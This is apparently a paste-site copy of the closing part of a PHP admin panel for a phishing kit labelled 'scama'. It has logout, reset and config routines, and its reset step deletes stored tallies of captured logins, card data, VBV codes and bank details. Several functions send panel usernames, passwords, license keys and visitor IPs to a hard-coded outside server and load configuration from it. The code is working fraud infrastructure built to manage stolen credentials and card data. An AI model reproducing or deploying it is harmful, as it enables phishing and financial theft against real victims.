  775.                            Reset Data
  776.                        </span></a>
  777.                        &nbsp;&nbsp;<a style="text-decoration:none;color:#fff;" href="index.php?p=history">
  778.                        <span style="background:#000;" class="login100-form-btn">
  779.                            Log History
  780.                        </span></a>
  781.                        
  782.                        
  783.                    </div>
  784.                </div>
  785.            </div>
  786.        </div>
  787.    </div>';
  788. }
  789.  
  790. if($page == "logout") {
  791.     session_destroy();
  792.     echo "<script type='text/javascript'>window.top.location='?';</script>";
  793. }
  794.  
  795. if($page == "resetdata") {
  796.     if(!isset($_SESSION['email'])) {
  797.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  798.     }
  799.     unlink("../result/total_login.txt");
  800.     unlink("../result/total_cc.txt");
  801.     unlink("../result/total_vbv.txt");
  802.     unlink("../result/total_bot.txt");
  803.     unlink("../result/total_bin.txt");
  804.     unlink("../result/total_upload.txt");
  805.     unlink("../result/total_click.txt");
  806.     unlink("../result/total_bank.txt");
  807.     unlink("../result/log_visitor.txt");
  808.     echo "<script type='text/javascript'>window.top.location='?p=statistic';</script>";
  809. }
  810.  
  811. if($page == "defaultconfig") {
  812.     if(!isset($_SESSION['email'])) {
  813.         die("<script type='text/javascript'>window.top.location='index.php';</script>");
  814.     }
  815.     $contents = load_conf();
  816.     unlink("../.config");
  817.     $tulis = fopen("../.config","a");
  818.     fwrite($tulis,$contents);
  819.     fclose($tulis);
  820.     echo "<script type='text/javascript'>alert('Berhasil mereset config');window.top.location='?p=setting';</script>";
  821. }
  822.  
  823. function login($username,$password) {
  824.     $get = curl_init();
  825.     $config = parse_ini_file('../key.ini');
  826.     $key = $config['public_key'];
  827.     $key = hex2bin($key);
  828.     $agent = $_SERVER['HTTP_USER_AGENT'];
  829.     $ipnya = user_ip();
  830.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/login_new.php");
  831.     curl_setopt($get, CURLOPT_POST, 1);
  832.     curl_setopt($get, CURLOPT_POSTFIELDS, "username=$username&password=$password&key=$key&ua=$agent&ip_user=$ipnya");
  833.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  834.     $server_output = curl_exec ($get);
  835.     curl_close($get);
  836.     return $server_output;
  837. }
  838.  
  839. function register_key($username,$password,$your_key,$domain) {
  840.     $get = curl_init();
  841.     $config = parse_ini_file('../key.ini');
  842.     $key = $config['public_key'];
  843.     $key = hex2bin($key);
  844.     $serial = sha1($domain.$public_key);
  845.     $ip = $_SERVER['SERVER_ADDR'];
  846.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/reg_key_new.php");
  847.     curl_setopt($get, CURLOPT_POST, 1);
  848.     curl_setopt($get, CURLOPT_POSTFIELDS, "username=$username&password=$password&key=$key&reg_key=$your_key&ip_reg=$ip&domain=$domain&serial=$serial");
  849.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  850.     $server_output = curl_exec ($get);
  851.     curl_close($get);
  852.     return $server_output;
  853. }
  854. function valid_key($domain,$key) {
  855.     $get = curl_init();
  856.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/check_valid.php");
  857.     curl_setopt($get, CURLOPT_POST, 1);
  858.     curl_setopt($get, CURLOPT_POSTFIELDS, "domain=$domain&key=$key");
  859.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  860.     $server_output = curl_exec ($get);
  861.     curl_close($get);
  862.     return $server_output;
  863. }
  864.  
  865. function load_conf() {
  866.     $get = curl_init();
  867.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/scama/confignew.txt");
  868.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  869.     $server_output = curl_exec ($get);
  870.     curl_close($get);
  871.     return $server_output;
  872. }
  873.  
  874. function load_locked() {
  875.     $get = curl_init();
  876.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/scama/locked.txt");
  877.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  878.     $server_output = curl_exec ($get);
  879.     curl_close($get);
  880.     return $server_output;
  881. }
  882.  
  883. function load_invoice() {
  884.     $get = curl_init();
  885.     curl_setopt($get, CURLOPT_URL,"http://144.217.104.56/api/scama/invoice.txt");
  886.     curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  887.     $server_output = curl_exec ($get);
  888.     curl_close($get);
  889.     return $server_output;
  890. }
  891.  
  892. function user_ip()
  893. {
  894.     $client  = @$_SERVER['HTTP_CLIENT_IP'];
  895.     $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  896.     $remote  = $_SERVER['REMOTE_ADDR'];
  897.  
  898.     if(filter_var($client, FILTER_VALIDATE_IP))
  899.     {
  900.         $ip = $client;
  901.     }
  902.     elseif(filter_var($forward, FILTER_VALIDATE_IP))
  903.     {
  904.         $ip = $forward;
  905.     }
  906.     else
  907.     {
  908.         $ip = $remote;
  909.     }
  910.  
  911.     return $ip;
  912. }
  913. ?>
  914. <!--===============================================================================================-->
  915. <script src="vendor/jquery/jquery-3.2.1.min.js"></script>
  916. <!--===============================================================================================-->
  917. <script src="vendor/animsition/js/animsition.min.js"></script>
  918. <!--===============================================================================================-->
  919. <script src="vendor/bootstrap/js/popper.js"></script>
  920. <script src="vendor/bootstrap/js/bootstrap.min.js"></script>
  921. <!--===============================================================================================-->
  922. <script src="vendor/select2/select2.min.js"></script>
  923. <!--===============================================================================================-->
  924. <script src="vendor/daterangepicker/moment.min.js"></script>
  925. <script src="vendor/daterangepicker/daterangepicker.js"></script>
  926. <!--===============================================================================================-->
  927. <script src="vendor/countdowntime/countdowntime.js"></script>
  928. <!--===============================================================================================-->
  929. <script src="js/main.js"></script>
  930.  
  931. </body>
  932. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement